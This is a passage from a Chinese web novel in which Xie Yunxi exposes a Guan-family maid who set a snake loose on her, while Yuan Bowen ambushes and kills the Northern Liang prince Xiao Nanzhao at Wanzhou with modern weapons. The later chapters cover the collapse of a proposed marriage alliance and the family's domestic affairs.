关三老爷去了湖州,至今未回,关景澜住在关府里,听说鲜少出门。南边大家闺秀的风范在她身上尽显。 而齐王府送过来的美人儿就在袁府后院,蛇也是在最先在倚香院附近出现。不管是她被咬了,还是袁淮安出事,绝大多数人第一个怀疑一定是齐王府送过来的这些美人儿。 事发之后,她当然不会善罢甘休,袁博文也不会轻饶做这件事情的人,她和齐王府的人两败俱伤,得利的就是岭南关家了。 谢云溪怒极,反而平静下来。袁淼也一样,两人把剩下的视频看完,再没有发现其他异常。 袁淼说:“仅凭这段视频,关家的人多半不会承认!” 谢云溪想的更多,她对这个世界的了解比袁淼多。监控视频现在还不能拿出来做证据,这里连电都没有出来。拿出了监控视频怎么解释? 跟袁淼联系过后,谢云溪就把袁归、连虎和贺威等人都叫了过来。 看到视频中的人脸时,连虎惊呼:“原来是她!” 出事之后,他就上了屋顶,俯瞰全城,发现了黑衣人踪影之后,追了过去。但是对方十分警觉,不等他靠近,几个起落后,就不见踪影。 “这人一定还躲在紫云巷!”连虎已经把这件事情报到了巡防营,因为黑衣人最后消失在紫云巷,巡防营没有等到天亮,就已经把整个紫云巷严密监控了起来。 贺威皱着眉头,指着视频中黑衣人手中的长笛说:“这是魔丝葫芦,听说能奏出蛇语,有训蛇师就是靠着这个驯服毒蛇!” 谢云溪又打开了另一个视频,指着视频中挽着篮子的俏丽丫鬟说:“黑衣人就是她!她是岭南关家关二小姐身边的丫鬟。” 连虎和袁归等人都变了脸色,等又看完一个视频后,连虎咬牙说:“这件事情一定是岭南关家的人做的!他们想干什么?” 连虎虽然出自晋州,但他是新兵营里挑出来的,也是袁博文一手带出来的。对原晋州守备关正虽然敬佩,但是这点敬佩没法跟袁博文相比。 岭南关家想联姻结盟的事情知道的人并不多,不像湖溪齐王府,那美人儿和礼物是在许多人眼皮底下进了袁府。 尤其倚香院的那些美人儿,许多人因此对谢云溪的态度都发生了细微的变化。 “联姻!”谢云溪淡淡说,“岭南关家关三老爷这次过来,除了探亲,还要商量联姻结盟的事情。” 连虎愣住了,和贺威相互看了一眼。这件事情他们两人都不知道。 贺天凤闻言,脸色变了,抓着长剑的手也青筋毕露了。 她对岭南关家原本就没什么感觉,看在原晋州守备关大人份上对他们尊敬几分。但夫人对他们却是再造之恩。谁要敢对夫人不利,谁就是她的仇人。 袁归知道一些风声,连忙说:“这事儿已经被老爷拒绝了。” 谷雨送信回来的时候,跟他倒过苦水。就因为联姻结盟和齐王府的拉拢使得老爷一整晚都没睡好,还让他赶紧送信,唯恐夫人误会。 他十岁出头就跟着老爷夫人了,早些时候身上的衣裳有些就是夫人和念荟缝制的,许多事情都是他们夫妇一把手教导出来的,他当然不想看到他们生嫌隙。 “岭南关家心思狠毒!他们这是借刀杀人!”袁归也看出来了。 连虎和贺威都点了点头。 谢云溪说:“这些监控视频不能作为证据,你们再想其他办法找出岭南关家的把柄。如今局势严峻,这件事情不要走漏风声。” 谢云溪知道袁博文已经给萧南召挖了一个坑,正等着他入局,此时郴州的局势不能乱。 连虎等人都应下了。 袁淼这天晚上就联系了杨有为,第二天一早就把试管标本送进了检测机构。 有熟人帮忙,检测结果很快就出来了。 看着检测单,袁淼有些名词不懂:“艳紫铆是什么?有什么作用?” 杨有为差点被口水呛到,脸色也别扭起来:“这个……是一种草本植物,主要来自东泰……能……能增强/男/性/海绵/体功能,有催/情/助/兴的作用……” 袁淼懂了,检测单上面还有一些名词她也没有听说过,不过她已经问不出口了。 回到家后,袁淼就打开了电脑,把检测单上面的名词一一输进了电脑。看到结果后,她出离愤怒了。 谢云溪送过来的十几根试管,光检测出有催/情/助/兴成分的就有四种,分别在胭脂香料和一管黑色的小药丸中。 这些标本都是从倚香院搜到的,准备用在谁身上不言而喻。 袁淼没有等到天黑,就敲了敲镜子。一会儿后,谢云溪就出现在镜子里了。 袁淼问:“你现在房间里还有其他人吗?” 谢云溪摇头。原本念荟沈悦兰等人都在,听到镜子响动后,她把她们都打发了。 袁淼拿出检测结果:“这是昨天晚上那十几根试管标本的检测结果!” 谢云溪没想到结果这么快出来了。在把标本给袁淼之前,她就已经让人送了一份到军中医属,但是刘医官那边到现在还没有反馈。 袁淼把检测结果传给了谢云溪,又拿出了一根试管,里面还有三颗黑黝黝的小药丸:“这里面的东西,是在谁的房间里搜到的?她怎么说?” 谢云溪对这管标本有印象,她闻过气味,女人使用的东西,竟然有股淡淡腥味。 “怎么了?这是在芸娘房间里搜到的,她们说是养颜丹。” 袁淼哼了一声,冷笑说:“狗屁的养颜丹!这里面主要的成分是一种叫艳紫铆的草本植物!有快速催/情/助/兴的作用!” 谢云溪愣了愣。她是个医生,当然听说过艳紫铆。这是一种非常少见的草本植物,能增/大男/性的海绵体,有催/情/助兴的作用。 没想到,袁博文人还没有回来,针对他的灵丹妙药就已经出现了。 她当医生的时候,艳紫铆国内并没有,都是从东泰引进的。 这个世界地广物博,现代华国境内没有的东西,这里居然也有。 袁淼又把胭脂香料里面蕴含的几种催/情/助兴成分告诉了谢云溪。 谢云溪一时无语。女人们为了上位,可谓花样百出,她的眼界又被扩大了。 她原本对袁博文有信心,但现在不好说了,这些东西都上了,哪怕是钢铁心肠也抵不住吧。 袁淼也心惊胆战:“妈,倚香院那些女人,绝对不能再放到后院了!” 谢云溪想了想说:“这件事情还得等些时候再说!” “为什么?”袁淼已经迫不及待,“不管放蛇的事情是不是她们干的,这些人都不能放在府里了!” 都已经给她爸准备了催/情/助/兴的东西,这些人绝对不能留了! 谢云溪犹豫片刻:“你爸爸那边情况比较复杂……他们应该已经拿下皖州了,正等着萧南召入瓮!” 袁淼愣住了。她看过袁博文的信,信里只说与岭南关家和齐王府见面,以及对他们安排,形势复杂,不宜树敌等。 “爸爸又来信了吗?” 谢云溪摇头。这是袁博文离开之前告诉她的,面对极有可能的两面夹击,他打算先打残一边,再挖个坑,来个瓮中捉鳖。 兹事体大,在这当时只是他的想法,绝对不能泄露。她听了进去,对谁都没有说。 现在拿下湖州商州已经有一个多月了,两边夹击皖州。初先连郴州城里的人都在传不日便会拿下皖州,但实际上一个多月过去了,依旧没有皖州被拿下的消息传过来,她就猜到了袁博文肯定是在按照原定计划在走。 所以,她也在配合稳定局势,安抚湖溪齐王府的来人。 袁淼听谢云溪说了原因,一时间也犹豫起来。她没见过北地的地形,不知道袁博文这个坑靠不靠谱,但女人们之间的计较在大局之下确实得先按下。 “如果要暂时放在府里,那就得一定看好了!” “我知道。”谢云溪想到了念荟刚才的话,自打前天晚上蛇出没的事件之后,那倚香院就被看守的严严实实。袁归发了话,事情没查清楚之前,里面一碗水都不许送进去。 “岭南关家那边呢?你们打算怎么办?今天有没有发现?” 谢云溪把贺威和连虎的话告诉袁淼:“那蛇应该就是关景澜身边那个叫绿竹的丫鬟放进来的,她会驱蛇。巡防营和贺师傅他们已经盯上了她,只要她露出一点马脚,这次一定抓住她。监控视频现在不方便拿出来做证据。” 袁淼想到了父母那边的环境,点了点头。 * 就在谢云溪和袁淼琢磨怎么找出关景澜身边丫鬟绿竹放蛇进府的证据时,北凉左贤王萧南召到了皖州城下。 自从得知皖州被围的消息后,萧南召就紧急回援了。过了皖州就是大凉,袁博文有日行千里的铁车,攻无不克的火炮,从皖州打到大凉都城可要不了多久。 第155章 父女 看到皖州城墙上飘扬的熟悉旗帜时, 萧南召松了一口气。 这一路上过来,他们也遇到了多次围堵,距离皖州越近, 阻扰也越大, 如今总算是赶到了。 皖州北凉守军也派了将士前来迎接。 北凉大军浩浩荡荡进城, 直到后方传来了骚动, 萧南召这才察觉不妙。 但城门已经关上了,前方也传来了细细密密的噗噗声响, 原本已经进城的队伍许多都勒转了马头,往后疯狂逃窜。 只片刻, 浩浩荡荡的队伍就乱了, 萧南召的护卫队也受到了冲撞, 第一发炮弹就在这个时候落下了。 袁博文站在城墙上, 居高临下看着下方团团转的萧南召。 这人身材高大魁梧, 面目威严冷峻,被护卫们团团围住着, 即便在炮火中也没有乱了阵脚,依旧在指挥列队准备冲刺。 只可惜这一片地方都被预先埋下了地/雷,人越多,马越多,地/雷的威力也越大。 这一出瓮中捉鳖他准备了一个多月, 今天终于到了收割的时候。 在拿下湖州后没多久, 他就控制了皖州北凉守将萧瑜。这人身边的一个侍妾是原湖州守备陆重的女儿,也是陆佑堂的亲姐姐。 在这一个多月的时间里,他陆续把皖州北凉的军事力量瓦解了,但对外一直瞒着消息,并且制造出皖州形势危急的局势, 不仅吸引了周边许多北凉势力救援,也成功把萧南召给吸引过来了。 皖州城内现在早就布置好了防线,城门一关,就是瓮中捉鳖。 爆/炸声连接响起,第一波地/雷引爆后,城墙下尸横遍野。 但萧南召依旧没死,从马背上跌落下来后,迅速爬了起来,抬头看向上方。目光狰狞且凶狠,一下子就对上了袁博文。他抓起地上的弓/弩和羽/箭,抬手往上就是一箭。 袁博文看到萧南召捡起弓弩时,心里就一凛,不等他拉弓,就避到了盾牌后面。 羽/箭乒乓一声射中了盾牌,在上面留下了一个清晰的印记。 袁博文出了一身冷汗。 好大的力气!准头也极好!这么远的距离,这么高的城墙,都能射上来! 刚才,他但凡嚣张一点,这箭就射中他的脑袋。 袁博文不敢大意了,拿过了旁边的狙击枪后,对准了又被团团护住的萧南召。 枪声响起,倒下的却是一名护卫。 萧南召抬起头来,双眸狰狞看向袁博文。 袁博文在心里骂了一句,上膛后再次举起了狙击枪。 但萧南召已经知道了厉害,躲在人堆里不冒头了。 袁博文试了几次没成功,他放下了狙击枪,冷冷看了一眼,退到了后面。 你力气大,准头好,骁勇善战,肉身盾牌多,可惜我的枪更多! 密集的枪声响起了,城下刚刚组建好的防线又破了。外围的包围圈也在收紧。血肉之躯碰上了枪支弹药,几乎没有招架之力。 皖州城外的战争早就打响了,许多还没有来得及进城的北凉将士在懵了一阵后,听到城里的动静就开始疯狂攻城了。 可惜,再猛烈的攻势也撼动不了枪炮的洗礼。察觉到不妙,城外的北凉人开始逃窜了,但附近早就设好了埋伏。 袁博文从城墙上下来的时候,城下的血水已经汇集成一条条小河。 包围圈让出了一条道来,袁博文走了进去,看到了如小山一样堆积的尸首中的萧南召。 他的双腿几乎被打烂了,脸上也都是血,居然还没有死。看到袁博文过来,眸子里满是凶狠和愤怒,竟然还想站起来。 可惜,只动了动,他身上就立刻涌出许多鲜血。 袁博文没有过去了。对上这样的人,他心里也毛。他知道此刻的萧南召必定恨透了自己,这次的瓮中捉鳖几乎把北凉南下的主力打没了。 萧南召这次南下,如果不是遇上了他,绝对收获满满。别的不说,大顺的割地赔款少不了。 可惜现在这些都没了,十万铁骑的性命也要尽数留在这块土地上了。 袁博文看了旁边商泽一眼。商泽会意,抽出大刀过去了,手起刀落,萧南召的人头滚落了下来。 袁博文看了一眼死不闭目的人头,又说:“看看他身上,穿的是什么?” 商泽挑开了萧南召身上的甲胄和夹衣后,看到了熟悉的花纹。他愣了愣,鼻子有些发酸了。 “大人,是防护衣!” 袁博文沉默片刻:“剥下来吧,让人送回郴州。” 这是他送给关正的防护衣,现在该物归原主了。 关正的防护衣还在路上的时候,谢云溪就来到了关府。 庄静看到抬进来的箩筐时,愣了愣。 “这,这是什么?” 贺天凤看了谢云溪一眼,让人将箩筐里的东西倒了出来。 那是一个麻袋,但里面的东西却是个活物,正蠕动着,还发出了奇怪的声音。 关景钰和关景澜都吓了一跳,庄静的脸色也变了,她看出那是一个人。不由得看了谢云溪一眼。不明白她这是什么意思。 谢云溪淡淡说:“我们府里前些时候进了毒蛇,那蛇还爬进我们住的屋里,幸亏及时发现,否则我和淮安就要遭殃了。这几天巡防营终于查清楚了,那蛇不是无缘无故出现,而是背后有人驱使。” 庄静惊呆了,脱口而出:“毒蛇进屋?背后有人驱使?是谁?竟然这么卑鄙?” 话一出口,庄静像是想到了什么,抬头看向一旁的关景澜。 关景澜脸色已经惨白,像是被谢云溪的话吓到了,抓着手帕的手也在细微发抖。 庄静一时间也糊涂了。 驱使毒蛇咬人?关二小姐? 她虽然不喜欢关景澜,但仍然不相信她会做出这么歹毒的事情。 关景澜来到郴州的这段时间里,虽然打听过袁府和谢云溪的事情,但无论是言语之中,还是行为,并没有流露出对谢云溪的恶意。 不过,庄静也知道谢云溪从来都不是鲁莽的人,没有证据,她不会上门。 庄静看向了麻袋。 贺天凤接到谢云溪的眼色,打开了麻袋,露出了里面手脚都被捆上,嘴巴也被堵上的小丫鬟。 关景钰惊呼出声:“绿竹,怎么是你?这是怎么回事?” 贺天凤指着麻袋里的双髻丫鬟说:“她就是背后驱使毒蛇咬人的人!” 关景钰一脸不可置信。 关景澜摇头,“这不可能!绿竹是我的丫鬟,素来胆小,连蚊虫都怕,怎会驱使毒蛇咬人?” 谢云溪又看了旁边一眼,叶淑婉上前了,手中持着一根绿色的长笛。 “关二小姐认识这个吗?”谢云溪问。 关景澜仔细看了看,摇头:“这是什么?长笛吗?” “这是魔丝葫芦,能吹奏蛇语,巡防营江将军亲眼看到这位姑娘在吹奏魔丝葫芦,训练毒蛇。” 关景澜一脸不敢相信,看向被捆住的绿竹。 绿竹拼命摇头,眼泪都出来了。 关景澜不忍:“袁夫人,可否让绿竹说话?我想想问问她!” 谢云溪点头。贺天凤取了绿竹口中的麻布和腿上的捆绑。 绿竹马上出声:“小姐救我!” 关景澜看向绿竹:“你老实回话!那根长笛是你的吗?你真的会吹奏蛇语?” 绿竹连忙摇头:“二小姐,二夫人,那根长笛是奴婢的不假,可它不是什么魔丝葫芦!只是一支寻常乐器。奴婢吹奏时附近刚好有蛇!蛇出现的时候奴婢自己都吓了一跳,可随即就有人跳出来指责奴婢,非说奴婢是在训蛇,不由分说便把奴婢装袋子里了!” 贺天凤听到绿竹的辩解,气得不轻:“你胡说!巡防营江将军亲眼所见,岂会诬陷你?” 绿竹急得哭起来:“二小姐!二夫人!三小姐!奴婢真的不认识什么魔丝葫芦啊!” 关景澜点头,轻声安抚绿竹:“你放心,只要事情不是你做的,我和二婶婶一定会替你做主!” 她说着,看向庄静。庄静却一脸无语,一个不知根底的小丫鬟如何能跟巡防营江将军相比? “巡防营不会无缘无故抓人!绿竹,你是不是还有事情没有说?” 绿竹一个劲摇头,急得哭出声:“二夫人,二小姐!奴婢连蚊虫都怕,怎会驱使毒蛇咬人?你们一定要替奴婢做主啊!” 贺天凤气得想打人了,叶淑婉轻轻扯了她一把。 关景澜被她哀求,抬头看向谢云溪:“袁夫人,这件事情会不会是误会?” 谢云溪也抬起头:“关二小姐是说我诬陷你的丫鬟吗?” 关景澜没有回避:“景澜不是这个意思!但绿竹打小就跟着我了,我相信她!” 谢云溪笑了,看向庄静:“这里你是长辈,你怎么说?” 庄静已经听出关景澜和谢云溪的针锋相对,不禁瞠目。 岭南关家的嫡女,还没有上位,就露出了她的锋芒。 可这里是郴州! “景澜!巡防营不会无缘无故抓人!这件事情既然是巡防营江将军亲自督办,那一定是证据确凿!” 关景澜正要说话,突然听到有人尖叫一声:“啊!有蛇!” 关景澜低下头,赫然发现脚边有一条黑蛇正飞快游走着,她吓了一跳,惊慌跳起来:“绿竹救我!” 绿竹在看到蛇时,已经行动了。一脚踢开后,护到关景澜身前。 “小姐别怕!那蛇无毒!” 她的话音刚落,一道白光就来到跟前:“好一个蚊虫都怕!” 绿竹身子往后一仰,避开了贺天凤的攻击。片刻间,她就明白自己中计了,好在她的腿上的捆绑已经解开。再次避开贺天凤的攻击后,她跃了出去。 但是刚到院子里,就被一张网拦了下来,江虎等人出现了。 看到这一幕,庄静惊呆了。 谢云溪问:“关二小姐,你还有什么话说?” 关景澜眼中闪过一丝慌乱,很快就变成了不可置信:“绿竹,你,你怎么会这些?” 谢云溪看了庄静一眼。 庄静脸上已经满是恼火,她冲谢云溪曲了曲身:“袁夫人放心,我定会给你一个交待!” 谢云溪走了。绿竹也被带走了。庄静脸色阴沉,看了关景澜一眼:“你跟我进来!” 关景澜愣了愣,又恢复了端正镇静。她跟着庄静进了房间,庄静就转过身,毫不客气说道:“你真以为刚才的话能骗过人吗?” 关景澜抬起头,一脸不解:“二婶婶这话是什么意思?” 庄静气得一时说不出话来:“……绿竹是你的人!她驱使毒蛇咬人,你以为就凭你刚才那几句话就能置身事外吗?” “巡防营拿人,从来都不是无缘无故!袁夫人知道这件事情与你有关!她一句话就能决定你的生死!这次把人带过来,只是看在你二叔的份上!你以为她好拿捏吗?” “……无根无底,即便是知道了事情与你有关,也不敢拿你怎么办?是吗?” 关景澜愣住了。 “我告诉你,大错特错!袁大人与她结发多年,至今身边无一侍妾!两人共同进退,袁大人离开郴州前就交代过,袁夫人可代他行事!不管是巡防营,还是军中,她一句话就能调动所有的人!” “我知道大爷让你过来,是想结两家之好!但这件事情你做过了!你回岭南吧!以后不要来了!” 关景澜花容失色:“二婶婶……” 庄静不想说话了。关景澜这次做的事情也让她心惊。年纪轻轻,为了上位,竟然使出驱使毒蛇咬人的手段。以后为了达到目的,谁知道还会用什么手段。 被揭穿了,依旧一副有恃无恐的样子。以为别人都是傻子吗? 谢云溪早就知道了真相,却一再询问她,既是给关府面子,也是警告。 端看今天在院子里拿人的场景就知道,现在巡防营听她的,她想要拿下关府,不过是一句话的事情。 她也并不觉得谢云溪此举有什么不妥,如果换成她,有人驱使毒蛇对付她和她儿女,她会不顾一切让对方付出代价。 第156章 谈话 谢云溪回去后, 就把关府的反应告诉了袁淼。 袁淼不理解:“这关景澜是不是脑子有毛病?都证据确凿了,她还想抵死不认吗?” 谢云溪笑了笑:“世家大族的小姐,眼睛里只有京都皇城的贵族, 没有把我们这些人看在眼里。” 关景澜是有恃无恐, 笃定了联姻的事情必成, 想着只要她不认, 谁也奈何不了她。等入了袁府做女主人,她有的是办法找回今天的场子。 袁淼听了就来气:“妈, 你就不该心慈手软!要我说,既然已经确认了, 还跟他们废什么话!该杀的杀, 该抓的抓!没有岭南关家, 我们一样能够成事!” “岭南关家毕竟是关正的家族, 没有他, 我和你爸走不到今天的地步。” 还有庄静,理应站在关家那边, 但却在关家打算联姻的时候,过来通风报信,她记着这份好。 袁淼对关正的印象也很好:“那现在怎么办?” “等等看吧,庄静说了要给我一个交待。” 袁淼也想知道庄静怎么选择。结果,第二天, 关府的消息还没有来, 袁博文的信也先到了。 看到信中的内容后,谢云溪连忙联系了袁淼。 袁淼看了信也很高兴:“爸爸果然拿下了皖州,萧南召死了!太好了!” 谢云溪的心情也很好。 袁博文这次大胜,可以说奠定了他们的地位。萧南召死了,整个北地的局势扭转, 剩下的北凉人不足为惧了。 “你爸这次可以说是倾巢而出了,消耗非常大!现在萧南召死了,皖州拿下了,他下一步要去高州了。这次需要你买不少东西!” 袁淼一口答应了。 这大半年来她名下的公司盈利相当可观,以前需要精打细算购买的现代化军械等之类的物资,现在可以敞着买了。 “这是你爸让人带回来的清单。” 谢云溪把袁博文列出的清单传给了袁淼。 袁淼看了看:“好,我马上联系购买。” “庄静那边有没有消息?” 谢云溪摇头:“关三老爷回来了。” “是去爸爸那边商议联姻结盟的关耀吗?他回来了?那关景澜的事情会不会有麻烦?” 谢云溪摇头:“岭南关家能屹立百年不倒,族中肯定慧眼如炬的人。现在的局势,他们不敢随便得罪我们。” 现在整个北地已经有大半州府落到了他们手中,剩下的也不足为惧了。袁博文这一战打开局势,打掉了北方凉国的锐气,也让南边混战的各大势力不敢小觑了。 这样的乱世中,百年世家想要延续,也不是一件简单的事情。有兵有马,倒还好说,如果没有,就得要抱准一条大腿。至少不能随便得罪人。 先前袁博文虽然拿下几州,但在这些世家眼中,大概也只算能入眼而已。那时候联姻结盟,是岭南关家看得起你。现在就不一样了,北地的局势明了,袁博文一家独大,已经占了大半疆土,岭南关家也得敬几分了。 谢云溪和袁淼在讨论关家的时候,关府掀起了大波。 快马加鞭赶回来的关三老爷关耀见到庄静便问:“驱使毒蛇咬人的真是景澜身边的丫鬟吗?” 庄静见到关耀,也有些紧张:“确证无疑,这件事情是巡防营江将军亲自督办,人也是他亲自拿下的!” 关耀忍不住发火:“怎能如此莽撞?” 庄静已经打定了主意站在谢云溪这边:“三弟见谅!兹事体大,袁夫人亲自过来,并且人证物证俱全,我答应了给她一个交待,景澜不能留在这里了!” 关耀一脸挫败,摇头叹气:“二小姐人呢?” 庄静给了贴身嬷嬷一个眼色,关景澜很快就被带了过来。 这两天她被关在院子里不能出来,早已身心俱疲,见到关耀便红了眼圈,屈身行礼后委屈说道:“请三叔替景澜做主!” 庄静一听这话就来气。都已经证据确凿了,还想抵死不认! 关耀盯着她:“驱使毒蛇的真是你身边的丫鬟吗?” 关景澜顿了顿:“是的,可这件事情我并知情……” 关耀不等关景澜说完,便摆了摆手:“既然是你身边的丫鬟,那你就不能再留在这里了,明日启程吧,我送你回岭南。” 关景澜不敢相信听到的话,庄静也一脸诧异。 关耀面如死灰。 这一趟湖州之行,让他大为震动。原本他以为联姻结盟之事一定能成。 袁博文不过举人出身,是承继二哥的兵马才有如今的作为。岭南关家与他联姻结盟,那是看得起他。他一定会答应。 但到了郴州之后,他才知道许多消息并不真实。袁博文不仅是个奇才,还有许多匪夷所思的东西。不管是在郴州还是在晋州,他在民众中的声望都独一无二,无人可以比拟。就连二哥也无出其右。郴州晋州府衙与军中都以他为尊,唯命是从。 到了湖州后,被婉拒了联姻。他心里也有些恼火。可接下来的战事却让他心惊胆寒。 在湖州的这十来天中,袁博文的人马围住了皖州,周边陆续有北凉大将前来救援,一一都被打退。不过,他想见到的机枪和火箭炮等都没有出现,还以为这些不过是虚传。 等萧南召来了之后,他才知道先前的自己大错特错。 皖州竟然早就被袁博文拿下了,他还靠着这个诱饵把周边北凉的许多兵力都吸引了过来,一一打掉。还给北凉左贤王萧南召来了一个瓮中捉鳖。 北凉浩浩荡荡人马进城之后,城门关上。机枪和火箭炮等齐出,北凉南下的数万精锐人马尽数在这一战中被歼灭了,萧南召也在这一战中毙命。 这位可是北凉威名赫赫的人物,一路南下,所向披靡,就这么死在了皖州城中。 那些机枪火箭炮地雷等的威力,他也终于见识到了。先前听到的传言根本不足以说明其骇人。再骁勇善战的大将对上这些玩意也没有招架之力!人山人海在这些兵器下简直如同推土,一波波倒下。 这样的兵马和神器,谁与争锋? 这样的胆识和谋略,又岂会只局限在北地这里? 他算是明白了,能与袁博文结盟,那是岭南关家高攀了! 形势有变,策略也要变。 从湖州回来,一路上他就在想如何加深两方的关系。这个联姻不成,可以换人,岭南关家的女儿哪怕是做妾,能搭上袁博文那也是好的。 结果,半路上就得到了消息,自家那位前来联姻的侄女竟然做出驱使毒蛇陷害袁夫人和袁公子的事情。 那可是袁博文的发妻和唯一的嫡子! 这还怎么联姻?哪怕袁博文同意了,他也不敢把关家的女儿送过来了。 这位绝对不是善茬! 发妻和嫡子被害,他岂能善罢甘休? 交好都来不及的事情,现在变成了结仇! 再不走,等事情传到袁博文那里,许就是走不成了! 至于关景澜的辩解,关耀一句都不想听了。 这里没有人是傻子!贴身丫鬟这般处事,主子怎么置身事外? 岭南关家这把伞可挡不住袁博文的雷霆一怒。 关耀心灰意冷,也怕事情生变,第二天一早就带着关景澜离开了郴州。 谢云溪听到消息的时候,愣了愣。 不过,走了也好,有关正和庄静这层关系在,确实不好和岭南关家闹得太僵。毕竟袁博文麾下的大半将领都是关正留下来的。 庄静的这个交待虽然有失偏颇,但也能理解。她夹在中间,确实不好做。 关景澜走了,谢云溪也把这件事情丢开了。地里棉花已经开始采摘了,棉纺厂的招工也贴了出去。这次要的工人不少,足有上千。 纺织机器经过改造,虽然比先前复杂,但是仔细探究,还是能看出端详。谢云溪不希望纺织技术这么快就传开来。 北地百废待兴,需要的资金不少。各州府衙的收入有限,她已经计划把棉纺厂将来的收益归到府衙。这桶金赚到手之后,郴州也有了资金加强基础建设。 所以厂区的管理将采取了封闭式,对员工的出身也有一定要求。不过,即便是条件有些苛刻,前来报名参加招工的人也不少。 谢云溪正忙着这些事情,袁博文回来了。看到人时,谢云溪愣了片刻。 几个月不见,袁博文的变化很大,周身气势更足了,谢云溪身边的几个丫头见了他,头都不敢抬了。 袁博文看到榻上的大胖儿子,也一脸惊讶:“长这么胖了!” 袁淮安也不认生,黑幽幽眼睛盯着袁博文看。袁博文要抱,谢云溪笑着问:“你洗手了没有?” 袁博文瞬间回想起天天被督促洗手的日子,他哑然失笑,洗漱了一番后,抱起袁淮安。 谢云溪问:“怎么突然回来了?没出什么事吧?” 袁博文看着谢云溪,有些幽怨。出门在外,他心里时刻牵挂着,结果迎接他的却是这么一句话。 “高州拿下了,黄峥和程士杰准备打林州,霍小北去了泗阳关……” 自打皖州一战后,他们势如破竹,很快就拿下安州,他惦记着高州的盐湖,拿下那里后,就回来了。 如今的北地,北凉已经不足为惧,看到袁军的旗帜,望风而逃的比比皆是。 谢云溪听袁博文讲了局势,也把近来发生的事情告诉了袁博文。 “采摘下来的棉花已经送到棉纺厂,那里可以脱籽,今年玉米和甘薯的收成也很好。我已经跟张时文商量过了,玉米和甘薯收获之后,刚好可以种小麦,淼淼这几天也正忙着了解市场,要大面积种植小麦,种子的事情不能含糊……” 袁博文听完后问:“如今郴州城里,粮食的价钱下来了吗?” “早就下来了!”谢云溪笑着,“玉米开始收获,粮食的价钱就开始降了,现在郴州城里粟米已经降到三十六文钱一升……” 玉米和甘薯的丰收,使得其他粮食的需求大大减少,郴州晋州以及附近的粮价也因此下降了。 但在郴州晋州贺州沔州之外的其他州府,粮食的价钱依旧高居不下。南边的战事越发激烈,也使得流离失所的人更多了。南边的流民现在也开始北迁了。棉纺厂都招到好几个来自江陵一带的熟练女工。 袁博文看了谢云溪一眼:“岭南关家的人回去了吗?” 在湖州见到关耀的时候,听他说出想联姻结盟的话时,他差点被酒水呛到。 何德何能,关家竟然要将年方十六岁的嫡女许配给他? 这些世家大族的老爷族长们各个都是人精,先前他主动联系,人家不冷不热,还玩了一招拱火。现在见他有些起色了,就要把女儿许配给他! 第157章 靠山 这个橄榄枝他可不敢接!他有老婆孩子。接了这个橄榄枝, 他就得玩完。 别人被他唬的一愣一愣,以为他是天降奇才,他自己心里有数, 之所以能走到今天的地步, 完全是因为女儿袁淼! 没有女儿, 自己能不能活下来都还两说。 不过, 关正的面子还是要给,即便是要拒绝, 也得委婉点。他留关三老爷在湖州呆了些时日,让他看了一出大戏, 这才让人走了。 不过, 他也怕谢云溪多想, 这么做之前, 赶紧让谷雨送了封信回来。 “回去了, 前几天刚走。”谢云溪轻描淡写回答。 袁博文松了一口气。 到了晚上,袁淼见到袁博文, 也很惊喜,得知高州也被拿下了,她更加高兴:“太好了!地质资源勘察的人是不是可以过去了?” 袁博文点头:“我明天过去看看。” 高州既然是自己的地盘了,那自然是随便可以去了。 不过,现代地质资源勘察技术与这里的完全不同, 几个月的学习, 他不知道张时文选出来的人学的怎么样了。 “叶部长他们催促了吗?”袁博文一直都把这件事情放在心上。 “没有!”袁淼回答。把这些天上面帮助他们改进和提升冶铁技术和纺织技术等事情告诉了袁博文。 这些天上面虽然只字未提锂矿石合作开采等事情,但袁淼心里知道,他们是希望这件事情能够尽快达成的。 “沔州那边的冶铁工坊已经用上改进后的高炉,产量提升了不少。这些没有叶部长他们帮忙,我和淼淼不会这么快就做好。” 袁博文听完后点头。隔行如隔山, 哪怕信息和知识的获取不是一件难事,但终究没有沉浸在特定行业多年的专家提点有用。 好处都得了,上面希望的事情自然得加把劲。 “资源换技术……明天我去看看胡耀生,让他们尽快组队出发。” 二十多人,其中还有胡耀生这个天赋异禀,即便没有掌握现代地质勘察技术,学个皮毛,挑几个精英出来,也可以出发了。边实践边学习。 袁淼又问谢云溪:“妈,你跟爸爸说了关景澜的事情吗?” 谢云溪淡淡回答:“人都走了,还提她干什么?” 袁博文一头雾水。 袁淼一直憋着口气,就等着袁博文回来了,自然不可能就此揭过:“她差点害死你和淮安,就这么一走了之吗?” “不看僧面看佛面!” 袁博文越听越糊涂:“你们在说什么?关景澜是谁?” 袁淼看向袁博文:“你不知道吗?” 袁博文更糊涂了,看看这个,又看看那个:“我……应该知道吗?这人到底是谁?” 袁淼盯着袁博文,看出他不是在说假话,没好气回答:“她是岭南关家家主关轩的女儿,也是这次岭南关家带过来联姻的主角。关耀没告诉你吗?” “没有啊!”袁博文喊冤。关耀跟他提及联姻结盟的事情时,只说了几句,关轩的嫡女,年方二八,才貌双全。他当时惊的差点呛到,连忙捋顺呼吸,真没听到关耀说起关景澜这个名字。 谢云溪忍俊不禁。当爹的被闺女逼问,袁博文这次有点冤。世家联姻,一般是先探口风,不会一见面就把贵女的闺名告诉对方。 “她做了什么?”袁博文的目光有些凉了,他没忘记袁淼刚才的话。 “她差点害死妈妈和淮安!”袁淼把关景澜身边丫鬟绿竹驱使毒蛇差点咬到谢云溪和袁淮安的事情告诉了袁博文。 袁博文整个人都不好了,先前的松散一扫而空,周身戾气十足:“什么时候的事情?” 谢云溪连忙安抚他:“有一段时间了,我和淮安都没事!” 袁淼哼了一声:“要不是那天我警觉,妈妈和淮安一定会出事!那个关景澜,都证据确凿了,还想抵赖不认!” 袁博文的目光已经变得森冷。他念着关正的好,也对岭南关家格外宽容,即便知道他们在拱火,也没有拆穿。 这次他们提出联姻结盟,他可以直接拒绝。但还是顾忌关家的颜面,没有这么做,而是让关耀自己看清楚形势。但关家的人想伤害他的妻子和孩子,这就触及到他的底线了。 谢云溪察觉出袁博文的变化,连忙说:“世家大族的小姑娘,心高气傲,行为过激。不过,她到底是关正嫡亲的侄女,庄静为人也很热诚。我已经警告过他们了,现在他们走了。事情就此打住吧,你现在正值用人之际,可不能让底下的人有了别的心思!” 袁博文并没有气消,但接到袁淼眼色后,暂时按下了。 “你放心!我知道!” 谢云溪松了一口气。刚才的袁博文连她都觉得陌生。杀场上经历过无数次生死的人,目光一沉,就跟换了个人一样。 袁淼看到了父母之间的分歧,也避开了敏感话题。有些事情,她要单独跟袁博文谈。 